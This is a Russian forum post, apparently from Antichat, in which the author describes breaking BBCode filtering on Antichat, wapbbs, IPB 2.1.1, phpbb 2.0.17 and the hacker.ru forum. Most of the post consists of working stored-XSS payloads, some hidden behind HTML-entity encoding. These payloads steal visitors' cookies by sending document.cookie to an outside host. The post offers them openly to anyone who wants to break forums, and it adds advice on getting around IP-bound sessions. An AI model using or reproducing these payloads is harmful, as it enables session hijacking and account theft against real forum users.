Форум АНТИЧАТ - Долго жданная статья как ломать античатовскй форум.

Начал Я изучать форум античата с Января этого года.

Бла бла под конец - Я его взломал.

Вот как Я его ломал.

Должен сказать сразу, что после того как Я нашёл багу на античате, Я сразу рассказал её четырём юзером античата.

Сначало Zadoxlik`у, потом моему лучшему другу на интернете xSpider`у и третьему человеку Я рассказал Jazzsummerman, который потом случайно рассказал Че Геваре который и прикрыл эту багу прежде тем, как Я ей сумел воспользовался. Без обид, что было то было.

Объяснять красивым языком как Алгол, Zadoxlik Jazzsummerman Я ещё не научился, так что расскажу как могу.

Первоначальная ошибка состоит в том, что теги

Код HTML:

[url=http://www.antichat.ru]http://www.antichat.ru[url][/url][/url]

Код HTML:

[URL=http://www.wj.com[url]http://www.wj.com]wj 

        Код HTML:


        
[url]http://www.antichat.ru



и





очень плохо отфильтрированны.





Перебрав десятки комбинаций и изучив все теги античатовского форума, Я решил засунуть один тег урл в другой тег урл.



Вот так:

[/URL]В результате, Я получил следующее:

Код HTML:

<a href="http://www.wj.com<a href=&quot;http://www.wj.com" target="_blank">wj" target="_blank">http://www.wj.com]wj </a></a>

Думаю тут всё и так ясно. Второй тег урл, зашёл в атрибут первого тега урл.

После этого, Я задал такой запрос античатовскому форуму:

Код HTML:

[URL=http://www.wj.com[url]http://www.wj.com]wj [FONT=Arial]wj[/FONT][/url]

[/URL]
И вот что он мне выдал:

[HTML]<a href="http://www.wj.com<a href="http://www.wj.com" target="_blank">wj <font face="Arial">wj</font>" target="_blank">http://www.wj.com]wj <font face="Arial">wj</font></a></a>[HTML]

Как уже заметно, из-за того, что теги урл фильтрируют все кавычки, nj второй тег урл отфильтрировал кавычки в теги фонт, после чего кавычки перестали существовать вообще, что Я и сам сразу не заметил. И естественно теперь одним пробелом, который как специально для нас разрешён (Тут можно прочитать подробнее о том, что становится когда кавычек нет и добавляется пробел http://www.antichat.ru/crackchat/index.html )
мы теперь можем вписывать произвольной код.

Долго не буду рассказывать, что пропускается в каждом теги античата, которые мне пришлось из-за нужды вызубрить наизусть, но просто скажу, что в теги фонт, не пропускается двоеточие. <:> Эта проблема меня заставила искать помощь у других Хакеров античата.

Естественно мне помог мой лучший друг по имени хSpider которые посоветовал мне использовать html объекты.

Должен сказать, что алёрт у меня был и без них, через такой код.

Код HTML:

[URL=http://www.wj.com[url]http://www.wj.com]wj [FONT=Arial size=+7 onmouseover=alert(/Hello_from_WJ/) /]wj[/FONT][/url][/URL]

Результат:

Код HTML:

<a href="http://www.wj.com<a href=&quot;http://www.wj.com" target="_blank">wj <font face=&quot;Arial size=100 onmouseover=alert(/Hello_from_WJ/) /&quot;>wj</font>" target="_blank">http://www.wj.com]wj &lt;font face=&quot;Ar.../) /&quot;&gt;wj&lt;/font&gt;</a></a>

При проведении мышки на WJ, выскакивал алёрт.

Мне захотелось пойти дальше и xSpider мне помог заменить двоеточие ( ":" ) этим символом.

Цитата:

&******#58;

Знаю, Я и сам удился. Сто раз про это читал и т.д. и только вспомнил, что он есть и им можно воспользовался. Ещё давно мне даже Железо показывал мылы тырить через эти символы, но почему то мне это не пришло в голову.

После этого, используя эту ссылку, http://www.h4cky0u.org/encrypt/index.php Я закодировал свой код? и вот что меня получилось....

[HTML]http://www.]wj [/URL][HTML

Это воровало куки на ура.

Вот код для желающих как ломать веб-хак.

Код HTML:

[color=white][EMAIL][URL=wj`=`][/URL][/EMAIL][/color][color=white]` style=`background:url(javaSCrip        t:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`[/color]

Можно ещё и так

Код HTML:

[EMAIL]wj@wj.com[URL=wj/style=background&*#58;url(javascript*:document.image*s&#9*1;&#*49;].*src=*"*&#104*;&#11*6;&#1*16;&*#112*;&#5*8;&#*47;&#*47;&#*97;&#*110;*&#116*;&#1*05;&#*99;&*#104;*a*&#11*6;&#*46;&#*114;&*#117*;&#4*7;&#9*9;&#1*03;&*#105;*&#45*;&#98*;&#10*5;&#1*10;&*#47;s.j&*#112;g?"+document.cookie); ][/URL][/EMAIL]

Для интересующихся как Я ломал форум wapbbs, вот вам один из кодов.

Код HTML:

[r0x][img]http://www.phpbb.com/значениеwjimages/phplogo.gif/style=background&*#58;url(*&#106*;&#9*7;&#1*18;&*#97;&*#115*;&#99*;&#11*4;&#1*05;&#*112;*&#116*;&#58*;&#1*00;&#*111;&*#99;&*#117;*&#109*;&#1*01;&#*110;&*#116*;&#46*;&#10*5;&#1*09;&*#97;*g&#1*01;&*#115;*[*1*]*.src*=&#3*4;&#*104;*&#116*;&#11*6;&#1*12;&*#58;&*#47;*/*&#97*;&#11*0;&#1*16;&*#105*;&#99*;&#10*4;&#*97;&*#116;*.*&#11*4;&#1*17;&*#47;&*#99;&*#103;*&#10*5;&#4*5;&#9*8;&#1*05;&*#110;*/*&#115*;&#46*;&#10*6;&#*112;*&#103*;&#63*;&#34*;+&#1*00;&#*111;*&#99*;ument.cookie); [/img][/r0x]

Вот второй

Код HTML:

[url]http://www.wj.com[img]http://www.wapbbs.com/bbs//images/statusicon/forum_new.gif'='[/img][/url]'

Код воровки кук скопируйте с первого примера.

Так как к кукам wapbbs привязывается ещё и ИП, то это можно обойти с помощью burp proxy.
http://www.portswigger.net/proxy/

Сейчас вышли новые форумы, например IPB 2.1.1 и он ломается вот так:

Код HTML:

[post=1000[topic=wj style=background&*#58;url(javascript*:document.image*s&#9*1;&#*49;].*src=*"*&#104*;&#11*6;&#1*16;&*#112*;&#5*8;&#*47;&#*47;&#*97;&#*110;*&#116*;&#1*05;&#*99;&*#104;*a*&#11*6;&#*46;&#*114;&*#117*;&#4*7;&#9*9;&#1*03;&*#105;*&#45*;&#98*;&#10*5;&#1*10;&*#47;s.j&*#112;g?"+document.cookie); ]        [/topic]]

[/post]

Форум phpbb 2.0.17 ломается вот так: (Код надо будет если время и желание будет - доработать.)

Код HTML:

[img]http://www.phpbb.com/wj[email]wj@wj.com[/email]images/phplogo.gif[/img]

phpbb 2.0.17

Структура форума хакер.ру, ломается вот так.

Код HTML:

[URL][img]http://www.wj'='.gif[/img][/URL]'

А так же в самом заголовке и имени тем на этом форуме, разрешается вставка тегов, причём там очень плохая фильтрация. При специальных символах, этот форум ломается на ура как и в теле сообщения, так и в заголовке топиков.

Вот и всё.

White Jordan.